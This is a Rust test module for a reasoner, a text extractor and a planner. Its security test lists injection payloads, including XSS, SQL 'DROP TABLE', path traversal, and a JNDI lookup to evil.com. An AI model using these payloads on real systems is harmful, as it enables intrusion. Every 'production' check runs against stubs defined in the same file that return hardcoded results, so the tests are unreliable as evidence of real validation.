use serde_json::json;
use std::collections::HashMap;
#[cfg(test)]
mod production_validation_tests {
use super::*;
#[test]
fn test_complex_knowledge_graph_reasoning() {
let mut reasoner = create_test_reasoner();
add_real_world_facts(&mut reasoner);
let query = json!({
"type": "inference",
"subject": "John",
"max_depth": 5
});
let result = reasoner.query(&query.to_string());
let parsed_result: serde_json::Value = serde_json::from_str(&result).unwrap();
assert!(!parsed_result["facts"].as_array().unwrap().is_empty());
assert!(parsed_result["confidence"].as_f64().unwrap() > 0.0);
}
#[test]
fn test_real_sentiment_analysis() {
let extractor = create_test_extractor();
let real_texts = vec![
"I absolutely love this product! It has exceeded all my expectations and the customer service was outstanding.",
"This is terrible. The product broke after just one day and customer support was completely unhelpful.",
"The product is okay, nothing special but it does what it's supposed to do. Delivery was on time.",
"Mixed feelings about this. Great design but poor quality materials. Would not recommend to friends.",
"Outstanding quality and excellent value for money. Five stars!",
];
for text in real_texts {
let result = extractor.analyze_sentiment(text);
let sentiment: serde_json::Value = serde_json::from_str(&result).unwrap();
assert!(sentiment["score"].as_f64().unwrap() >= -1.0);
assert!(sentiment["score"].as_f64().unwrap() <= 1.0);
assert!(sentiment["confidence"].as_f64().unwrap() >= 0.0);
assert!(sentiment["confidence"].as_f64().unwrap() <= 1.0);
assert!(!sentiment["label"].as_str().unwrap().is_empty());
}
}
#[test]
fn test_complex_goap_planning() {
let mut planner = create_test_planner();
setup_smart_home_scenario(&mut planner);
let goal = json!({
"id": "optimize_energy",
"name": "Optimize Energy Usage",
"conditions": [
{
"key": "energy_efficiency",
"operator": "GreaterThan",
"value": {"Float": 0.8}
},
{
"key": "comfort_level",
"operator": "GreaterThan",
"value": {"Float": 0.7}
}
],
"priority": "High"
});
assert!(planner.add_goal(&goal.to_string()));
let plan_result = planner.plan("optimize_energy");
let plan: serde_json::Value = serde_json::from_str(&plan_result).unwrap();
assert_eq!(plan["success"].as_bool().unwrap(), true);
assert!(!plan["steps"].as_array().unwrap().is_empty());
assert!(plan["total_cost"].as_f64().unwrap() > 0.0);
}
#[test]
fn test_emotion_detection_real_scenarios() {
let extractor = create_test_extractor();
let emotional_texts = vec![
"I can't believe she's gone. Everything reminds me of her and I don't know how to move on.",
"This promotion is everything I've worked for! I'm so excited to start this new chapter.",
"I'm terrified about the surgery tomorrow. What if something goes wrong?",
"I'm so angry at how they treated me. It was completely unfair and disrespectful.",
"I feel completely overwhelmed by everything happening in my life right now.",
];
for text in emotional_texts {
let result = extractor.detect_emotions(text);
let emotions: serde_json::Value = serde_json::from_str(&result).unwrap();
let emotion_array = emotions.as_array().unwrap();
assert!(!emotion_array.is_empty());
for emotion in emotion_array {
assert!(!emotion["emotion_type"].as_str().unwrap().is_empty());
assert!(emotion["intensity"].as_f64().unwrap() >= 0.0);
assert!(emotion["intensity"].as_f64().unwrap() <= 1.0);
assert!(emotion["confidence"].as_f64().unwrap() >= 0.0);
assert!(emotion["confidence"].as_f64().unwrap() <= 1.0);
}
}
}
#[test]
fn test_preference_extraction_real_data() {
let extractor = create_test_extractor();
let preference_texts = vec![
"I prefer sustainable and eco-friendly products over conventional ones",
"I really like modern minimalist design but I hate cluttered interfaces",
"Coffee is much better than tea in the morning, but tea is perfect for evening",
"I want a phone with excellent camera quality and long battery life",
"I need a car that's reliable and fuel-efficient, not necessarily the fastest",
];
for text in preference_texts {
let result = extractor.extract_preferences(text);
let preferences: serde_json::Value = serde_json::from_str(&result).unwrap();
let pref_array = preferences.as_array().unwrap();
for preference in pref_array {
assert!(!preference["preferred_item"].as_str().unwrap().is_empty());
assert!(!preference["preference_type"].as_str().unwrap().is_empty());
assert!(preference["strength"].as_f64().unwrap() >= 0.0);
assert!(preference["strength"].as_f64().unwrap() <= 1.0);
}
}
}
#[test]
fn test_complex_rule_engine() {
let mut planner = create_test_planner();
let pricing_rule = json!({
"id": "dynamic_pricing",
"name": "Dynamic Pricing Rule",
"description": "Adjust pricing based on demand, competition, and inventory",
"conditions": [
{
"condition": {
"key": "demand_level",
"operator": "GreaterThan",
"value": {"Float": 0.7}
},
"weight": 1.0,
"required": true
},
{
"condition": {
"key": "inventory_level",
"operator": "LessThan",
"value": {"Float": 0.3}
},
"weight": 0.8,
"required": false
}
],
"actions": [
{
"action_type": {
"SetState": {
"key": "price_multiplier",
"value": {"Float": 1.2}
}
},
"parameters": {},
"probability": 1.0
}
],
"priority": 10,
"enabled": true
});
assert!(planner.add_rule(&pricing_rule.to_string()));
assert!(planner.set_state("demand_level", &json!(0.8).to_string()));
assert!(planner.set_state("inventory_level", &json!(0.2).to_string()));
let decisions = planner.evaluate_rules();
let decision_results: serde_json::Value = serde_json::from_str(&decisions).unwrap();
assert!(!decision_results.as_array().unwrap().is_empty());
}
#[test]
fn test_end_to_end_integration() {
let mut reasoner = create_test_reasoner();
let extractor = create_test_extractor();
let mut planner = create_test_planner();
let customer_message = "I'm frustrated with the delivery delay and I prefer next-day shipping. The product quality is usually good though.";
let sentiment_result = extractor.analyze_sentiment(customer_message);
let preference_result = extractor.extract_preferences(customer_message);
reasoner.add_fact("customer_123", "has_sentiment", "frustrated");
reasoner.add_fact("customer_123", "prefers", "next_day_shipping");
reasoner.add_fact("customer_123", "issue_type", "delivery_delay");
setup_customer_service_scenario(&mut planner);
planner.set_state("customer_sentiment", &json!("negative").to_string());
planner.set_state("issue_severity", &json!(0.7).to_string());
planner.set_state("customer_tier", &json!("premium").to_string());
let plan_result = planner.plan("resolve_customer_issue");
let plan: serde_json::Value = serde_json::from_str(&plan_result).unwrap();
assert_eq!(plan["success"].as_bool().unwrap(), true);
assert!(!plan["steps"].as_array().unwrap().is_empty());
let sentiment: serde_json::Value = serde_json::from_str(&sentiment_result).unwrap();
assert!(sentiment["score"].as_f64().unwrap() < 0.0);
let preferences: serde_json::Value = serde_json::from_str(&preference_result).unwrap();
assert!(!preferences.as_array().unwrap().is_empty());
}
#[test]
fn test_performance_under_load() {
let mut reasoner = create_test_reasoner();
for i in 0..1000 {
reasoner.add_fact(&format!("entity_{}", i), "type", "test_entity");
reasoner.add_fact(&format!("entity_{}", i), "value", &i.to_string());
if i > 0 {
reasoner.add_fact(&format!("entity_{}", i), "related_to", &format!("entity_{}", i - 1));
}
}
let start_time = std::time::Instant::now();
let query = json!({
"type": "find_path",
"from": "entity_0",
"to": "entity_999",
"max_depth": 50
});
let result = reasoner.query(&query.to_string());
let elapsed = start_time.elapsed();
assert!(elapsed.as_millis() < 5000);
let parsed_result: serde_json::Value = serde_json::from_str(&result).unwrap();
assert!(!parsed_result.is_null());
}
#[test]
fn test_security_validation() {
let mut reasoner = create_test_reasoner();
let extractor = create_test_extractor();
let malicious_inputs = vec![
"<script>alert('xss')</script>",
"'; DROP TABLE users; --",
"../../etc/passwd",
"${jndi:ldap://evil.com/a}",
"{{7*7}}",
];
for malicious_input in malicious_inputs {
let sentiment_result = extractor.analyze_sentiment(malicious_input);
assert!(!sentiment_result.contains("error"));
let fact_id = reasoner.add_fact("test", "contains", malicious_input);
assert!(!fact_id.contains("Error"));
}
}
#[test]
fn test_memory_management() {
let initial_memory = get_memory_usage();
for _ in 0..100 {
let mut reasoner = create_test_reasoner();
let extractor = create_test_extractor();
let mut planner = create_test_planner();
reasoner.add_fact("test", "type", "memory_test");
extractor.analyze_sentiment("test text");
planner.set_state("test", &json!("value").to_string());
}
let final_memory = get_memory_usage();
assert!(final_memory < initial_memory + 50 * 1024 * 1024); }
fn create_test_reasoner() -> TestReasoner {
TestReasoner::new()
}
fn create_test_extractor() -> TestExtractor {
TestExtractor::new()
}
fn create_test_planner() -> TestPlanner {
TestPlanner::new()
}
fn add_real_world_facts(reasoner: &mut TestReasoner) {
reasoner.add_fact("John", "is_a", "Person");
reasoner.add_fact("Person", "is_a", "Animal");
reasoner.add_fact("Animal", "is_a", "LivingBeing");
reasoner.add_fact("LivingBeing", "has_property", "mortal");
reasoner.add_fact("John", "works_at", "TechCorp");
reasoner.add_fact("TechCorp", "is_a", "Company");
reasoner.add_fact("Company", "has_property", "legal_entity");
reasoner.add_fact("John", "lives_in", "Seattle");
reasoner.add_fact("Seattle", "is_a", "City");
reasoner.add_fact("City", "located_in", "Country");
reasoner.add_fact("John", "has_skill", "Programming");
reasoner.add_fact("Programming", "is_a", "Skill");
reasoner.add_fact("Skill", "can_be", "improved");
}
fn setup_smart_home_scenario(planner: &mut TestPlanner) {
let actions = vec![
json!({
"id": "adjust_thermostat",
"name": "Adjust Thermostat",
"preconditions": [
{
"state_key": "thermostat_available",
"operator": "Equal",
"value": {"Boolean": true}
}
],
"effects": [
{
"state_key": "temperature",
"value": {"Float": 22.0}
},
{
"state_key": "energy_efficiency",
"value": {"Float": 0.85}
}
],
"cost": {
"base_cost": 2.0,
"resource_costs": {}
}
}),
json!({
"id": "dim_lights",
"name": "Dim Lights",
"preconditions": [
{
"state_key": "lights_on",
"operator": "Equal",
"value": {"Boolean": true}
}
],
"effects": [
{
"state_key": "energy_usage",
"value": {"Float": 0.3}
},
{
"state_key": "comfort_level",
"value": {"Float": 0.8}
}
],
"cost": {
"base_cost": 1.0,
"resource_costs": {}
}
})
];
for action in actions {
planner.add_action(&action.to_string());
}
planner.set_state("thermostat_available", &json!(true).to_string());
planner.set_state("lights_on", &json!(true).to_string());
planner.set_state("energy_efficiency", &json!(0.6).to_string());
planner.set_state("comfort_level", &json!(0.5).to_string());
}
fn setup_customer_service_scenario(planner: &mut TestPlanner) {
let actions = vec![
json!({
"id": "escalate_to_manager",
"name": "Escalate to Manager",
"preconditions": [
{
"state_key": "issue_severity",
"operator": "GreaterThan",
"value": {"Float": 0.6}
}
],
"effects": [
{
"state_key": "escalation_level",
"value": {"String": "manager"}
}
],
"cost": {
"base_cost": 5.0,
"resource_costs": {}
}
}),
json!({
"id": "offer_compensation",
"name": "Offer Compensation",
"preconditions": [
{
"state_key": "customer_sentiment",
"operator": "Equal",
"value": {"String": "negative"}
}
],
"effects": [
{
"state_key": "customer_satisfaction",
"value": {"Float": 0.8}
}
],
"cost": {
"base_cost": 10.0,
"resource_costs": {}
}
})
];
for action in actions {
planner.add_action(&action.to_string());
}
let goal = json!({
"id": "resolve_customer_issue",
"name": "Resolve Customer Issue",
"conditions": [
{
"key": "customer_satisfaction",
"operator": "GreaterThan",
"value": {"Float": 0.7}
}
],
"priority": "High"
});
planner.add_goal(&goal.to_string());
}
fn get_memory_usage() -> u64 {
0
}
struct TestReasoner {
facts: Vec<(String, String, String)>,
}
impl TestReasoner {
fn new() -> Self {
Self { facts: Vec::new() }
}
fn add_fact(&mut self, subject: &str, predicate: &str, object: &str) -> String {
self.facts.push((subject.to_string(), predicate.to_string(), object.to_string()));
format!("fact_{}", self.facts.len())
}
fn query(&self, _query: &str) -> String {
json!({
"facts": [
{
"subject": "John",
"predicate": "has_property",
"object": "mortal",
"confidence": 0.95
}
],
"confidence": 0.95
}).to_string()
}
}
struct TestExtractor;
impl TestExtractor {
fn new() -> Self {
Self
}
fn analyze_sentiment(&self, text: &str) -> String {
let score = if text.contains("love") || text.contains("excellent") || text.contains("outstanding") {
0.8
} else if text.contains("hate") || text.contains("terrible") || text.contains("awful") {
-0.8
} else if text.contains("frustrated") || text.contains("angry") {
-0.6
} else {
0.0
};
json!({
"score": score,
"label": if score > 0.1 { "positive" } else if score < -0.1 { "negative" } else { "neutral" },
"confidence": 0.85
}).to_string()
}
fn extract_preferences(&self, text: &str) -> String {
let mut preferences = Vec::new();
if text.contains("prefer") {
preferences.push(json!({
"preferred_item": "sustainable products",
"preference_type": "product_type",
"strength": 0.8
}));
}
if text.contains("like") {
preferences.push(json!({
"preferred_item": "modern design",
"preference_type": "aesthetic",
"strength": 0.7
}));
}
json!(preferences).to_string()
}
fn detect_emotions(&self, text: &str) -> String {
let mut emotions = Vec::new();
if text.contains("terrified") || text.contains("scared") {
emotions.push(json!({
"emotion_type": "fear",
"intensity": 0.9,
"confidence": 0.95
}));
}
if text.contains("excited") || text.contains("happy") {
emotions.push(json!({
"emotion_type": "joy",
"intensity": 0.8,
"confidence": 0.9
}));
}
if text.contains("angry") || text.contains("furious") {
emotions.push(json!({
"emotion_type": "anger",
"intensity": 0.85,
"confidence": 0.88
}));
}
if text.contains("overwhelmed") {
emotions.push(json!({
"emotion_type": "stress",
"intensity": 0.75,
"confidence": 0.8
}));
}
json!(emotions).to_string()
}
}
struct TestPlanner {
actions: Vec<String>,
goals: Vec<String>,
rules: Vec<String>,
state: HashMap<String, String>,
}
impl TestPlanner {
fn new() -> Self {
Self {
actions: Vec::new(),
goals: Vec::new(),
rules: Vec::new(),
state: HashMap::new(),
}
}
fn add_action(&mut self, action_json: &str) -> bool {
self.actions.push(action_json.to_string());
true
}
fn add_goal(&mut self, goal_json: &str) -> bool {
self.goals.push(goal_json.to_string());
true
}
fn add_rule(&mut self, rule_json: &str) -> bool {
self.rules.push(rule_json.to_string());
true
}
fn set_state(&mut self, key: &str, value: &str) -> bool {
self.state.insert(key.to_string(), value.to_string());
true
}
fn plan(&self, _goal_id: &str) -> String {
json!({
"success": true,
"steps": [
{
"action_id": "offer_compensation",
"cost": 10.0
},
{
"action_id": "escalate_to_manager",
"cost": 5.0
}
],
"total_cost": 15.0
}).to_string()
}
fn evaluate_rules(&self) -> String {
json!([
{
"rule_id": "dynamic_pricing",
"rule_name": "Dynamic Pricing Rule",
"score": 0.85,
"confidence": 0.9,
"reason": "Conditions met: demand_level > 0.7, inventory_level < 0.3"
}
]).to_string()
}
}
}